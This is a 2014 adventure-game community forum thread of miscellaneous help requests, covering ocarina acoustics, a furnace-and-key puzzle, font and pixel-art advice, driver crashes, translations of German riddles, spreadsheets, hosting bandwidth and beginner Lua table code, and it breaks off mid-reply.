These are its fingering instructions (http://firestoneocarinas.com/blog/wp-content/uploads/2011/11/scale.jpg) (for a major scale).
Let's say our Ocarina is tuned in C.

To produce a "D sound", I would lift my finger off the top-right hole (the small one), hence going form C to D (2 semitones).
To produce a "E sound", I would lift my finger off the bottom-right hole, hence going from C to E (4 semitones).
Now, to produce F it seems I need to lift my finger off both those two holes. F is 5 semitones away from C, but I would say I 'opened air' for 6 semitones (2+4). How is that possible?

Please enlighten me, ASWCH!
Title: Re: Ask something - We can help.
Post by: cat on Sat 03/05/2014 17:05:18
I can't quite follow you - if it is tuned in C, according to the chart you have to cover all holes for a C (or leave all open).
When you lift the upper right finger, this should be a D (re). Next is E (mi) etc.

Edit: I do feel a sudden urge to buy an ocarina now :P
Title: Re: Ask something - We can help.
Post by: on Sat 03/05/2014 17:09:23
Quote from: cat on Sat 03/05/2014 17:05:18
I can't quite follow you - if it is tuned in C, according to the chart you have to cover all holes for a C (or leave all open).
When you lift the upper right finger, this should be a D (re). Next is E (mi) etc.

Edit: I do feel a sudden urge to buy an ocarina now :P

Silly me, I messed up the letters (yup, meant to write D and E)! I edited my post, thanks!
Title: Re: Ask something - We can help.
Post by: Erenan on Thu 08/05/2014 03:01:38
According to Ocarina Forest (http://ocarinaforest.com/info/physics/how-ocarinas-work-2/), the formula for frequency when blowing into an ocarina is this:

f = (speed of sound/(2*pi))*(sqrt(open area on surface of ocarina)/sqrt(volume of inner chamber * length of air column))

We can treat everything but the open area (A) as a constant (we'll call it B), so we get:

f = B * sqrt(A)

If we say A0 is the area when all finger holes are covered, we get:

Do = B * sqrt(A0)

and higher pitches can be represented as:

pitch(x) = B * sqrt(A0 + x)

so...

Re = B * sqrt(A0 + xRe)
Mi = B * sqrt(A0 + xMi)
Fa = B * sqrt(A0 + xFa)
Fi = B * sqrt(A0 + xFi)

Now, in equal temperament,

Re = Do*(2^(1/6))
Mi = Do*(2^(1/3))
Fa = Do*(2^(5/12))
Fi = Do*(2^(1/2))

so...

B * sqrt(A0 + xRe) = B * sqrt(A0) * (2^(1/6))
B * sqrt(A0 + xMi) = B * sqrt(A0) * (2^(1/3))
B * sqrt(A0 + xFa) = B * sqrt(A0) * (2^(5/12))
B * sqrt(A0 + xFi) = B * sqrt(A0) * (2^(1/2))

Doing some algebra, we get...

xRe = (2^(1/3) - 1) * A0 ~= 0.259921 * A0
xMi = (2^(2/3) - 1) * A0 ~= 0.587401 * A0
xFa = (2^(5/6) - 1) * A0 ~= 0.781797 * A0
xFi = A0 (interesting... you have to double the open area to get a pitch a tritone higher)

Now, simultaneously opening the two holes used for Re and Mi increases the area by (xRe + xMi).

xRe + xMi = (0.259921 * A0) + (0.587401 * A0) = 0.847322 * A0

0.847322 * A0 is closer to xFa than to xFi, so while your Fa might sound a bit sharp, it should register as Fa rather than Fi. This is especially true since the mapping of frequency to pitch is exponential rather than linear, so even halfway between xFa and xFi would register closer to Fa than Fi.


In summary: Change in pitch as a function of open surface area is a square root function. Mapping of frequency to perceived change in pitch is exponential. Both mathematical quirks combine in such a way that the sum of the additional areas needed to produce Re (2 semitones) and Mi (4 semitones) only amount to a little over Fa (5 semitones) rather than Fi (6 semitones).
Title: Re: Ask something - We can help.
Post by: on Thu 08/05/2014 06:27:19
Quote from: Erenan on Thu 08/05/2014 03:01:38
[...]

Quite an explanation, thanks! And great to see you back to the boards! ;)
Title: Re: Ask something - We can help.
Post by: Grim on Thu 15/05/2014 20:07:04
I have a question regarding a game puzzle (I promise it's not something I would ever do in real life, I just need this for the story/puzzle to make sense).

Imagine a big basement furnace used for heating a house, something like the one in Saw II, or Nightmare On Elm Street films. Now, imagine a small animal with a metal object inside it. Let's say- a key. Finally, let's assume the furnace gets accidentally switched on and the animal dies burned to a crisp (or would it be ashes?...) The question is - will that metal object remain usable when it's retrieved from the body or will it melt/deform completely, rendering it useless?
Title: Re: Ask something - We can help.
Post by: Slasher on Thu 15/05/2014 20:47:01
Quotewill that metal object remain usable when it's retrieved from the body or will it melt/deform completely, rendering it useless?

Considering the heat, even next to the furnace, I've been there, is very hot indeed.

If its a small furnace there may be a chance if the rat is only close to and not inside the furnace. The key could survive almost intact.

If the rat's body has been destroyed, as you say: burnt to a crisp, this would leave the key exposed and I expect it to have melted in some way or just disfigured. I think it depends if it,s in the furnace or near it.. Remember, some furnaces are designed to melt metal....

Just my thought...

Title: Re: Ask something - We can help.
Post by: Grim on Thu 15/05/2014 21:26:02
Well, it's definitely got to be in the furnace, not near it. The animal would just run away if it's wasn't locked inside.

And it's not the kind of furnace that's designed to melt metal- it's just for burning wood/coal for heating. Not some super-high temperature one.

Thanks for your help Slasher, but I'm still not sure... Any more ideas? - I tried to google it up but only found fat burning diets and gold melting tips...
Title: Re: Ask something - We can help.
Post by: Slasher on Thu 15/05/2014 21:38:58
If it's just a woodburner then I guess, because it does not reach a very high temperature like industrial furnaces, then I guess the key would survive, if a little tarnished... Put a metal fork on a bonfire and when the fire has died you will find the fork, a little black but usable...

Title: Re: Ask something - We can help.
Post by: Gribbler on Thu 15/05/2014 21:55:16
Most keys are made of brass which has a melting point of approx. 900C. Temperature in a typical woodburner is around 500-600C. So I guess your key would survive. Not sure thought, you might wanna google those temperatures yourself.
Title: Re: Ask something - We can help.
Post by: frenzykitty on Fri 16/05/2014 04:54:29
Is this another key in another cat Grim? :O
Title: Re: Ask something - We can help.
Post by: Nikolas on Fri 16/05/2014 11:41:33
Yes, my guess is also that the key would survive... :-/ The body burns rather easily, compared to metals...

If I may ask your opinion about something, please, in the meantime.

I plan on publishing (B&W) a work for piano, with computer game themes. As such I'd hope to have illustrations that remind a computer game, ergo pixel art.

Do you think that pixel art would look good printed in paper in greyscale?

Examples of other scores with illustrations that I've published:
http://www.musica-ferrum.com/shop_files/images/slyorig_b3071b8286af34079d88a9ed6d34f1e0.png
http://www.musica-ferrum.com/shop_files/images/slyorig_a07f8615b546d07e8ab4533dd172a375.png
http://www.musica-ferrum.com/shop_files/images/slyorig_b293f49cd00a5d64f630cdd8c0c0a1d4.png
Title: Re: Ask something - We can help.
Post by: Erenan on Fri 16/05/2014 18:49:22
You might consider asking some pixel artists. I mean there are lots here already so some might come along and answer your question, but I'd imagine someone over at Pixelation (http://wayofthepixel.net/) would have a really solid answer for you too.
Title: Re: Ask something - We can help.
Post by: Ghost on Sat 17/05/2014 05:16:41
I have an NVidea GeForce GT 220- basic vanilla retail graphics card. When I purchased it, driver version was 1.4. And for some reason each time I try to update it, the graphics card goes into regular crashes afterwards. Screen flickers, there is a short pause, then the screen comes up again and Windows displays "Display driver stopped working and was reset." It also displays a file related to the driver (kernel???.dll)
I wonder if someone knows more about this and if there is a way to get the latest drivers to work. Several games I own on Steam refuse to work with the old driver but DO run with the new one (I tried- but it's really not worth having your screen flicker up every few minutes).
Title: Re: Ask something - We can help.
Post by: Theme on Sat 17/05/2014 07:45:45
This may or may not be related to your problem.
https://forums.geforce.com/default/topic/550032/geforce-500-400-series/nvidia-driver-320-49-whql-freezing-my-pc/
http://www.dedoimedo.com/computers/nvidia-freezes.html
Basicly, try using 314.22 drivers. Lastest good drive before crashing and freezing in windows 7.
Title: Re: Ask something - We can help.
Post by: Ghost on Sat 17/05/2014 10:30:47
Interesting, thanks a lot; I'll try that out. (nod)
Title: Re: Ask something - We can help.
Post by: Gurkenbier on Sat 17/05/2014 20:35:27
Hello ladies and gents!
I hope this is the right Thread for my little problem...
I'm a german guy who loves Adventures (MM-Style) and try to translate a german AGS-Adventure into an english version.
I've the trs-file and it's looking good to translate the standard phrases.
But I have a problem to translate three definite math-riddles to the right (my math-grades were always bad.)
I try it but I don't know what I'm doing with the translator prog.
Is it right or is it wrong ???
In this case someone can help me?

Here's the 1st riddle in German:
QuoteAuf dem Schild steht ein Zahlenrätsel.
Es lautet ...Gesucht wird eine achtstellige Zahl, die 2 Einsen, 2 Zweien, 2 Dreien und 2 Vieren enthält.
Die Einsen in dieser Zahl sind durch eine Zahl voneinander getrennt, ...
... die Zweien durch zwei Stellen, die Dreien durch drei und die Vieren durch vier Stellen.
Wie lautet die Zahl?
Zuletzt müssen die Ziffern der Zahl addiert werden.
my loose translation with no end is:
QuoteOn the sign there is written a numeric riddle:
A number with eight digits is searched, which encloses two of 1, two of 2, two of 3 and two of 4.
...
The 2nd riddle:
QuoteDu hast wenig Geld und gehst in ein Casino. Beim Spielen konntest du dein Geld verdoppeln.
Dann kaufst du dir für 16 Euro einen Drink. Du spielst weiter und verdoppelst wieder dein Geld.
Und wieder gönnst du dir für 16 Euro einen Drink. Dein Restgeld konntest du beim Weiterspielen wieder verdoppeln.
Und natürlich gibt es danach wieder einen 16 Euro Drink. Dann gehst du völlig pleite aus dem Casino.
Wie viel Geld hattest du bei dir, als du das Casino betreten hast?
and my translation:
QuoteYou 're low of cash and goes to the casino. After playing you were able to double your money.
Then you buy a drink for 16 euro. You keep on playing and double your money again.
You begrudge a drink for 16 euro again. The residue could you double by playing again.
You buy a drink for 16 euro again. Then you go entirely skint out of the casino.
How much money you has owned when you are going in the casino the first time?

And now th 3rd:
QuoteDer hundertste Teil einer Zahl X ergibt das Neunfache des Kehrwertes der Zahl X.
Der Betrag von X sind die letzten Ziffern vom Türcode.
my translation:
QuoteThe hundredth part of a number X results the ninefold of the reciprocal of X.
The absolute value of X are the last two numbers of the code.

I hope someone can help, correct or comlete my translation quotes. I'm thanksfull for every help!

Thanks a lot...
Gurkenbier
Title: Re: Ask something - We can help.
Post by: Ghost on Sat 17/05/2014 21:01:25
Quote from: Grim on Thu 15/05/2014 21:26:02
Well, it's definitely got to be in the furnace, not near it. The animal would just run away if it's wasn't locked inside.
Thanks for your help Slasher, but I'm still not sure... Any more ideas? - I tried to google it up but only found fat burning diets and gold melting tips...

I asked my cousin, who is a firefighter, and he mentioned that sometimes they find even an animal's collar with the tags still in identifiable shape (these rather cheap metal tags). A fire is hot but even in a small controlled hot area you get pockets of air where the temperature is considerably lower, and a chimney fire that burns flesh can leave metal unimpressed. Many room-installed fireplaces ARE made of metal.
His view: It is POSSIBLE for a key to remain at least useable after being in a chimney fire. It's not GUARANTEED though. But the "willing suspension of disbelief" should be on your side at least.

Two additional things:
The metal will be hot, and one could not easily pick it up and store it comfortably. It would have to cool.
Rapid cooling could result in additional "warping" of the metal. A key is a rather precise thing and needs to be a certain shape in order to fit its lock. THIS is what may actually cause more breaking of willing suspension.
Title: Re: Ask something - We can help.
Post by: Grim on Sun 18/05/2014 04:29:25
Slasher, Gribbler, Nikolas - thanks for your help. It's good to know that the general consensus is that the key would be okay (even if there's a 50:50 chance it wouldn't, it's still enough for an adventure game puzzle to make sense, right?;))

Ghost - thanks for going the extra mile and asking an expert! I am now fully reassured that I can safely go ahead with this scenario. And the other thing you mention about not being able to pick it up straight away... that's even better! What a great opportunity for another puzzle!;)

frenzykitty - nope, it's the same key in the same cat;) Just getting it out is different.
Title: Re: Ask something - We can help.
Post by: Tramponline on Sun 18/05/2014 06:46:34
Quote from: Gurkenbier on Sat 17/05/2014 20:35:27
The 2nd riddle:
QuoteDu hast wenig Geld und gehst in ein Casino. Beim Spielen konntest du dein Geld verdoppeln.
Dann kaufst du dir für 16 Euro einen Drink. Du spielst weiter und verdoppelst wieder dein Geld.
Und wieder gönnst du dir für 16 Euro einen Drink. Dein Restgeld konntest du beim Weiterspielen wieder verdoppeln.
Und natürlich gibt es danach wieder einen 16 Euro Drink. Dann gehst du völlig pleite aus dem Casino.
Wie viel Geld hattest du bei dir, als du das Casino betreten hast?
and my translation:
QuoteYou 're low of cash and goes to the casino. After playing you were able to double your money.
Then you buy a drink for 16 euro. You keep on playing and double your money again.
You begrudge a drink for 16 euro again. The residue could you double by playing again.
You buy a drink for 16 euro again. Then you go entirely skint out of the casino.
How much money you has owned when you are going in the casino the first time?

Let's do one at a time. I'll go for the second one:

"You're low on cash as you enter a casino. Playing the first round you're able to double your money. You buy a drink for 16 â,¬.
You keep on playing and double your money again. You treat yourself to another 16 â,¬ drink.
You manage to double your remaining money by playing one final round. Naturally, you reward yourself with one last drink for 16 â,¬.
You're broke as you leave the casino.

How much money did you have upon entering (the casino)?"


It might be better to contract the riddle by simply stating that drinks cost 16 â,¬ each.

As far as I know, there's no translation software out there where an automatically generated translation wouldn't need any revision afterwards.
Certainly not with freeware programs at least.
Personally, I wouldn't use any of those as they tend to complicate matters rather than simplifying anything.
Some of the guys around here are professional translators. They might know a program or two, though not at bargain price rate I assume.
Title: Re: Ask something - We can help.
Post by: Gurkenbier on Sun 18/05/2014 06:55:15
Tramponline:
Thanks for your reply!
It will help me a lot! ;-D
Title: Re: Ask something - We can help.
Post by: Khris on Sun 18/05/2014 14:13:39
I know you're just translating this, but there's a problem with the first puzzle: since it's about finding the cross sum, the result is always 20, no matter how the digits are arranged... ;)
Title: Re: Ask something - We can help.
Post by: Gurkenbier on Sun 18/05/2014 14:53:04
I think the author would like to tangle us up with unnecessary depictions ;)
Title: Re: Ask something - We can help.
Post by: Atelier on Fri 06/06/2014 20:06:01
Anybody know how to buy a single shoe? I found a brand new converse and would legit wear it if I knew how to find a partner for it.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 07/06/2014 07:02:02
Any spreadsheet experts here?
I'm making a table whose data relies on references to cells in another sheet.  The table looks great, that is until I try to sort the rows based on the values of one column. It seems data doesn't like to be resorted when it contains cell references. Why not? And is there a workaround?  Thanks
Title: Re: Ask something - We can help.
Post by: Billbis on Sat 07/06/2014 08:16:33
You'll have to break the references. :embarrassed:
Copy -> special paste -> values only, then sort.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 07/06/2014 08:33:02
Ahh okay. So there's no way of doing it with the references intact?  I guess that's not toooo much hassle.  I'll just have to keep one unordered version of the table with the references and then manually maintain an ordered referenceless table next to it or something. Thanks Billbis.
Title: Re: Ask something - We can help.
Post by: selmiak on Sat 07/06/2014 08:42:07
is spreadsheet open source? If yes you could try to hack this feature in, other people will like this too ;)
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 07/06/2014 09:53:26
It's Google Docs, hehe. Not sure if I can hack them. There must be a jolly good reason why it doesn't work otherwise they will surely have implemented it (it also doesn't work in Excel). I mean all I want to do is make a football-style league table that updates the order when you enter new data onto the other sheet.  Anyway, it's not really a problem.

You'll see what I'm talking about in a little while ;)
Title: Re: Ask something - We can help.
Post by: Iron Lawnmower on Mon 09/06/2014 13:19:06
A couple of questions on my mind.
1)Has anyone ever remade Monkey Island in AGS?
2)Is my idea for a puzzle a good idea or is it a load of poo and wank?
1)Door is locked (Door in this case being one of those slidy down grille things in front of closed shops that are usually covered in grafitti.)
2)See fuse box. Harold (Demonic sidekick) suggests shorting it out some way.
3)Empty bottle lying about somewhere. Player should tell Harold to fill it with his urine. Harold doesn't need to urinate at the minute.
4)Suggests going to bar.
5)Get beer. Barman may or may not ask for favor (Haven't decided if the player should have money yet at this stage)
6)If you have the beer you can't take the glass outside.
7)Give beer to Harold. Harold drinks beer and needs to wee. Wees into empty bottle.
8)Poor beer onto fusebox. Door opens. cheers all around.

Is this a good idea? Can I refine or improve upon this in any way shape or form?
Title: Re: Ask something - We can help.
Post by: Babar on Mon 09/06/2014 13:29:54
There are a couple of fan games created or being created (with ripped, similarly styled as well as original graphics), but no direct remake of Monkey Island, no. What would be the point?

I personally don't think it is a good puzzle. It seems tedious and there just as an obstacle to prolong the game.
Title: Re: Ask something - We can help.
Post by: Iron Lawnmower on Mon 09/06/2014 13:57:06
Well what's the point in anything in life. We'll all die at some point.

Should I shorten it or just throw it out altogether? Because at the moment my game is severly lacking in the puzzle department.
Title: Re: Ask something - We can help.
Post by: Babar on Sat 14/06/2014 13:14:56
Quote from: Iron Lawnmower on Mon 09/06/2014 13:57:06
Well what's the point in anything in life. We'll all die at some point.
Dying seems a good point!
But what I meant was that all the Monkey Islands work perfectly using ScummVM, and it'd be pretty hard for anyone to beat the quality of the music in the games, or the art in 2 and 3, or the humour. While it might serve as an interesting programming exercise (although again, ultimately pointless), there's no real reason to remake the Monkey Islands. Someone was working on a demake for MI3 in MI2 art style (which I definitely prefer), but again, they can't REALLY hit the same level of quality as the original MI2. I suppose someone could attempt to do a remake of 1 using the art style of 2, but that seems like an awful lot of effort for something that again, will probably never reach the same level of quality as what you're trying to emulate, and you won't ever really be able to call your own.

Quote from: Iron Lawnmower on Mon 09/06/2014 13:57:06
Should I shorten it or just throw it out altogether? Because at the moment my game is severly lacking in the puzzle department.
Perhaps you can shorten it. The main issue I had was that it seemed convoluted and there seemed a lot like something you'd have to be you to know how to do it (and there'd be easier ways to do it anyhow). Like why doesn't the player just pour the drink on to the fusebox? Or stick in the coin he was going to use to buy the drink? Or spit in it or something?
Title: Re: Ask something - We can help.
Post by: selmiak on Sat 14/06/2014 13:29:14
what happened to the mi3 demake anyways? I liked that idea and the art that was already made for that project.
Title: Re: Ask something - We can help.
Post by: Nikolas on Sat 14/06/2014 15:26:38
Quote from: Atelier on Fri 06/06/2014 20:06:01
Anybody know how to buy a single shoe? I found a brand new converse and would legit wear it if I knew how to find a partner for it.
Just buy a pair and use one... :P
Title: Re: Ask something - We can help.
Post by: Iron Lawnmower on Tue 24/06/2014 15:53:15
Quote from: Babar on Sat 14/06/2014 13:14:56
Quote from: Iron Lawnmower on Mon 09/06/2014 13:57:06
Well what's the point in anything in life. We'll all die at some point.
Dying seems a good point!
But what I meant was that all the Monkey Islands work perfectly using ScummVM, and it'd be pretty hard for anyone to beat the quality of the music in the games, or the art in 2 and 3, or the humour. While it might serve as an interesting programming exercise (although again, ultimately pointless), there's no real reason to remake the Monkey Islands. Someone was working on a demake for MI3 in MI2 art style (which I definitely prefer), but again, they can't REALLY hit the same level of quality as the original MI2. I suppose someone could attempt to do a remake of 1 using the art style of 2, but that seems like an awful lot of effort for something that again, will probably never reach the same level of quality as what you're trying to emulate, and you won't ever really be able to call your own.

Quote from: Iron Lawnmower on Mon 09/06/2014 13:57:06
Should I shorten it or just throw it out altogether? Because at the moment my game is severly lacking in the puzzle department.
Perhaps you can shorten it. The main issue I had was that it seemed convoluted and there seemed a lot like something you'd have to be you to know how to do it (and there'd be easier ways to do it anyhow). Like why doesn't the player just pour the drink on to the fusebox? Or stick in the coin he was going to use to buy the drink? Or spit in it or something?
That seems reasonable. I'll rethink it a wee bit and make it a less round about ride that ultimatly is just pouring piss on a fuse box to make it work.
Title: Re: Ask something - We can help.
Post by: Nikolas on Sat 09/08/2014 21:06:46
So,

I'm preparing to publish a collection of 11 works for piano duet, aimed at a student - teacher pair. All is well, and the music is so nice and catchy this time that I decided to ask a writer to do fairytales based on the stories. And she did!

So, now, that I'm preparing the work to be published (printed) I have come to a small obstacle: For all texts, I use Palatino (ok, bliah, but it works for classical music), but in this case it seems highly innapropriate to use such a font. And need recomendations for fonts to use for fairytales.

Info:
Page size: 23,5x31 cm (Portrait)
Font size (if Time new Roman): 12
Size of stories: One page each
Example of titles: "Fifi on the moon", "The Duke and the cook", "The Pirates Biathlon", etc

My issues:
1. Which font?
2. Should I organize it in 2 collumns (which works so far, but again for classical music, prefaces, etc, not actual stories).

Any ideas?
Title: Re: Ask something - We can help.
Post by: CaptainD on Sat 09/08/2014 21:56:54
I've been tending towards the Georgia font these days - quite similar to TNR but a bit bolder and wider.  For fairy tales you may also want to try Budoken SF - it's got a little more character and somehow a more child-friendly appearance, without being too outlandish.

For a one-page story I would definitely advise against doing it in 2 columns.

Anyway, just my personal view!
Title: Re: Ask something - We can help.
Post by: Nikolas on Mon 11/08/2014 07:23:17
Thank you CaptainD!

I think that the Budoken SF looks rather nice... I can't download right now, but I will in the next couple of days and give it a go...
Title: Re: Ask something - We can help.
Post by: on Sat 06/09/2014 13:10:59
Techy/webby q:

So I have a virtual hosting package, I pay so much for say 10gb bandwidth a month. I'd worked on the site a bit and not used much of that up, as it's just loading text and a couple of images. But a couple of days ago I put a video on there (that plays from within the site/storage) and by the next day all 10gb (and some) of bandwidth had been used.

Is that most likely because
a) Of my uploading of it?
b) Of my testing the page/video?
c) Because other people found it and it got a lot of plays?

Anyway of course now I need to buy more or have a better plan. My question is - what uses bandwidth? If the video is hosted on the site and a player on the site allows it to be watched/streamed, that is going to EAT it every time someone plays the video, right? And if the vid is 100mb, then each play will use at least 100mb bandwidth?

Some kind of info for layman would be nice... Just so I know I'm spending my money the right way ;) Thank you!!
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 06/09/2014 13:26:42
Probably c) I'd say. Just loading the webpage would be enough since the player is likely to cache it completely. It could also be b) if you tested it really zealously yourself (loading the webpage one hundred times). I don't think players store the video for when you play it the next time so it would download it over and over and over.
Videos (and streaming in general) are bandwidth monsters: if you want to put it up for a large audience you might be better off using a dedicated stream service or uploading it to websites like Youtube or Vimeo.  :)
Title: Re: Ask something - We can help.
Post by: on Sat 06/09/2014 13:34:14
Thanks for the confirm Wyz. I have a feeling it is because I had loaded them a few times in testing (via the page) and I have no doubt some other people turned up and pressed play also. You're right, it needs to be held elsewhere really (or me buy huge amount of bandwidth). And I guess having one of the lowest options (10gb b/w) is also stupid.
Title: Re: Ask something - We can help.
Post by: SilverSpook on Tue 09/09/2014 22:40:05
Didn't quite want to start a thread for this so figure this is a good place to ask:

How much do you think the average Adventure Game player would be willing to read?  As in, how wordy do you think things can get before most would get frustrated?  I have more familiarity with cRPGs, so I'd use something like Planescape: Torment or Arcanum as a "Pretty wordy" game that is more writing centric.  Lots of elaborate description (some multi-page lore-stories), long dialogues, etc., all the time.  Something like Resonance appears to be medium-to-lightly wordy, with mostly short lines and one-sentence or shorter descriptions. Written or electronic documents have longer pieces, of course. 

Is Resonance pretty representative of the adventure gaming scene, do you think?
Title: Re: Ask something - We can help.
Post by: Ubel on Wed 10/09/2014 12:43:53
SilverSpook, I think it comes down to pacing and how the text is divided. If you print long paragraphs of text on the screen at once the player is bound to feel overwhelmed. But if the text is paced properly, as it usually is in classic adventure games, it's much less straining for the player. I'm obviously only taking into account the majority of players here, there are of course those who enjoy interactive fiction for instance and so are used to reading loads of text. If you're ok with making a game for that smaller demographic then great, go for it, but I don't think most players nowadays have the patience for it. If your game requires large amounts of written content make sure there are enough pauses and enough variety in the presentation of it.
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Wed 10/09/2014 15:51:23
I agree with Pablo, personally I don't care for too much text or long cut scene, as I much prefer to explore the world and solve the puzzles... Too much text, and I might as well read a book, too long cut scenes, then I might as well watch a movie or show on TV...
But that's just my personal view point on this subject, I'm sure there's an audience for every type of game, so you need huge amounts of text, then by all means do it. It's your game after all. ;)
Title: Re: Ask something - We can help.
Post by: LRH on Fri 12/09/2014 15:16:34
I have a question about programming in Lua- if this is a reasonable place to do so, that is.

I'm really excited to learn a language from the bottom up, since my only experience with programming before now has been limited to AGS script.  I'm working along pretty well.  What I've got right now is basically a background being drawn, with a player drawn on top of that.  I've also made a little function to check whether the arrow keys are being pressed, and if so, the player moves in the corresponding direction.  Super basic stuff.

However, in learning how to use tables, I'm finding myself having a hard time grasping some of the concept.  I've been doing something like this in order to assign the player's variables:

Code (ags) Select


player = {}
player.x = 200
player.y = 300



and later making something like

Code (ags) Select


function update_player()

    if isPressed("right") then
    player.x = player.x + 5
    end
end


Oversimplified for the sake of example, of course.  But in any event, thinking ahead, I'd like to be able to enumerate something contained within a table, and the concept is a bit too ethereal for me to grasp right now.  What I mean to say is, what if I wanted to program something like snow falling? I know what the general concept is but I lack the knowledge to execute it.

What I imagine is having a variable number of snowflakes (so that I can decide later on how much snow I want there to be) which spawn across the top of the screen and float downward, then, each flake has its own sub-set of X,Y coordinates, and there's a bit of code which finds a random number to increase or decrease the X value by, so that the flakes drift a bit.

So!  After that long-winded nightmare...does anyone know how to accomplish what I'm talking about? :tongue:
Title: Re: Ask something - We can help.
Post by: Gurok on Fri 12/09/2014 15:32:54
There's no such thing as a formal array in Lua, but you can use a table like an array (untested):

Code (lua) Select

local snowflake = {{}, {}, {}} -- 3 snowflakes

function love.load() -- Not sure which engine you're using
for index = 1, #snowflake
snowflake[index].x = 5 -- starting positions
snowflake[index].y = 5
end
end

function love.update()
for index = 1, #snowflake
snowflake[index].x = snowflake[index].x + math.random(-5, 5)
snowflake[index].y = snowflake[index].y + 1
end
end


Tables are used for everything in Lua. Arrays, associative arrays, classes, even switch statements. The key concept here is probably "#snowflake" which gets you the number of items (actually the highest integer index for a table).

Comma is how you separate multiple items in a table definition. Also note that if you just comma separate a list, i.e. {{}, {}, {}}, Lua will automatically number them 1, 2 and 3. It's the equivalent of {[1] = {}, [2] = {}, [3] = {}}. To reference a table value by its key (or indeed access an element inside an array), you use square brackets [].

I've intentionally avoided metatables and classes. If you decide to use a class library (or roll your own), you could get fancy by making a Snowflake class and formalise the snowflake objects. But as you can see, simple snowflake objects that just store x and y are easily accomplished using Lua's flexible table system.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Fri 12/09/2014 15:42:57
I think I'll post an example of adding snowflakes to existing array, to complement what Gurok said.
Code (lua) Select

local snowflake_array = {} -- empty array of snowflakes

function create_snowflake(x, y)
    local snowflake = {} -- created snowflake object
    snowflake.x = x
    snowflake.y = y
    return snowflake
end

-- Variant with calling an object "constructor"
function create_lots_of_snowflakes()
    for i = 0, 10, 1 do
        snowflake_array[i] = create_snowflake(math.random(320), math.random(240))
    end
end

-- Same without calling a function
function create_lots_of_snowflakes_2()
    for i = 0, 10, 1 do
        snowflake_array[i] = {} -- make sure an object of index 'i' is created
        snowflake_array[i].x = math.random(320)
        snowflake_array[i].y = math.random(240)
    end
end


I am not very experienced with Lua, so can't tell if that's a good practical use of it. But I used this in number of experimental scripts.

EDIT: lol, fixed C++ comments
Title: Re: Ask something - We can help.
Post by: LRH on Fri 12/09/2014 15:57:46
Wow, this community never ceases to amaze...

Thank you both, Gurok and Crimson.  I'm on the run right now but I'll definitely have some fun tinkering to do later!
Title: Re: Ask something - We can help.
Post by: LRH on Sat 13/09/2014 16:30:07
Forgot to mention to you Gurok, but you were correct in assuming I'm using love2d.

If either of you are interested, the result of this:

Code (lua) Select

snspr = love.graphics.newImage("SPR/snow.png")
flake_array = {}




function spawn_flakes()
for i = 0, 100, 1 do
flake_array[i] = {}
flake_array[i].x = math.random(800)
flake_array[i].y = math.random(600)
end
end

function flake_update(dt)
for i = 0 ,100, 1 do
flake_array[i].x = flake_array[i].x + math.random(-50, 50) * dt
flake_array[i].y = flake_array[i].y + 1
if flake_array[i].y >= 600 then
flake_array[i].y = 0
end
end
end

function flake_draw()
for i = 0 ,100, 1 do
love.graphics.draw(snspr, flake_array[i].x, flake_array[i].y)
end
end


and placing the functions in their respective "Main.lua" functions results in this:
https://www.youtube.com/watch?v=jUnlYE316s4

Thanks for the help! I'm already understanding tables (and using them as arrays) much better.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sat 13/09/2014 16:35:23
Domithan, I think the proper way to iterate existing array is to use Gurok's suggested syntax:
Code (lua) Select

for index = 1, #snowflake

This way you won't need to keep array size in a variable, nor use numeric literals (which is a direct road to code hell).
EDIT: For the same reason I would advise to get screen size from love2d library (forgot how it is done), otherwise if you will decide to change screen resolution once, you'll have to seek through all the code and fix the sizes.


That is, when you create elements, you'll have to specify their number:
Code (lua) Select

function spawn_flakes(number)
        for i = 0, number, 1 do
        flake_array[i] = {}
        flake_array[i].x = math.random(800)
        flake_array[i].y = math.random(600)
        end
end


But when you update them or iterate the whole array for any other reason, you should better use #array_name:
Code (lua) Select

function flake_draw()
        for i = 0, #flake_array do
                love.graphics.draw(snspr, flake_array[i].x, flake_array[i].y)
        end
end
Title: Re: Ask something - We can help.
Post by: LRH on Sat 13/09/2014 20:29:41
Thanks for the reply, Crimson.

This is admittedly the area that's escaping me a bit. I'm not entirely sure what putting "#" does in syntax, because I'm unable to search the lua wiki for the singular character, and I'm not sure how it's referred to. (Pound? Number sign?)

How I understood it in the context was that it would essentially return the number of entries in a particular array- (or "table" in this case) is that right?

If so, wouldn't I need to specify that there's 100 snowflakes in the declaration of the table itself?  I thought that the "for" loop was essentially assigning 100 objects to the currently empty array, the way I had it before.

Apologies if anything I say is confusing.  I think I'm just having difficulty on a very basic level.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sat 13/09/2014 22:29:26
Quote from: Domithan on Sat 13/09/2014 20:29:41
This is admittedly the area that's escaping me a bit. I'm not entirely sure what putting "#" does in syntax, because I'm unable to search the lua wiki for the singular character, and I'm not sure how it's referred to. (Pound? Number sign?)

How I understood it in the context was that it would essentially return the number of entries in a particular array- (or "table" in this case) is that right?

If so, wouldn't I need to specify that there's 100 snowflakes in the declaration of the table itself?  I thought that the "for" loop was essentially assigning 100 objects to the currently empty array, the way I had it before.
Yes, now I feel confused, because I do not clearly understand what do you not understand :), so it is difficult for me to decide what to say.

What is the difference between ADDING items in a loop and USING them later?
When you add items, it won't make sense to ask table "how many items are there", because it does not know how many more you want to add. So you have to define the loop length yourself.

But when you are USING existing items (e.g. drawing them), they are already in the table, so you CAN ask table "how many items are there" by using #flake_array.
Title: Re: Ask something - We can help.
Post by: LRH on Sun 14/09/2014 01:19:32
Okay, that much makes sense. I think I get it now.  So once I've initially run a for loop with the number I wanted (like in spawn_flakes) they exist in the table, so everything that comes after that can use "#snowflake" ?

Edit: In any case, doing it that way certainly works. I just gave it a shot.
Title: Re: Ask something - We can help.
Post by: RetroJay on Mon 15/09/2014 06:58:38
Hi all.

I have a question.
Where has SSH gone?

I tried to download his module 'Pixel-perfect collision detection v1.02' but get the 404 error.
So I decided to try his site but that's not working.
Tried PM-ing him but have received no answer.
Even his avatar is missing (You know, the Scottish Superhero.)

According to his stats he was online today a 06:30.???

Yours.
Jay.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Mon 15/09/2014 09:47:27
A few comments on the lua thingy:

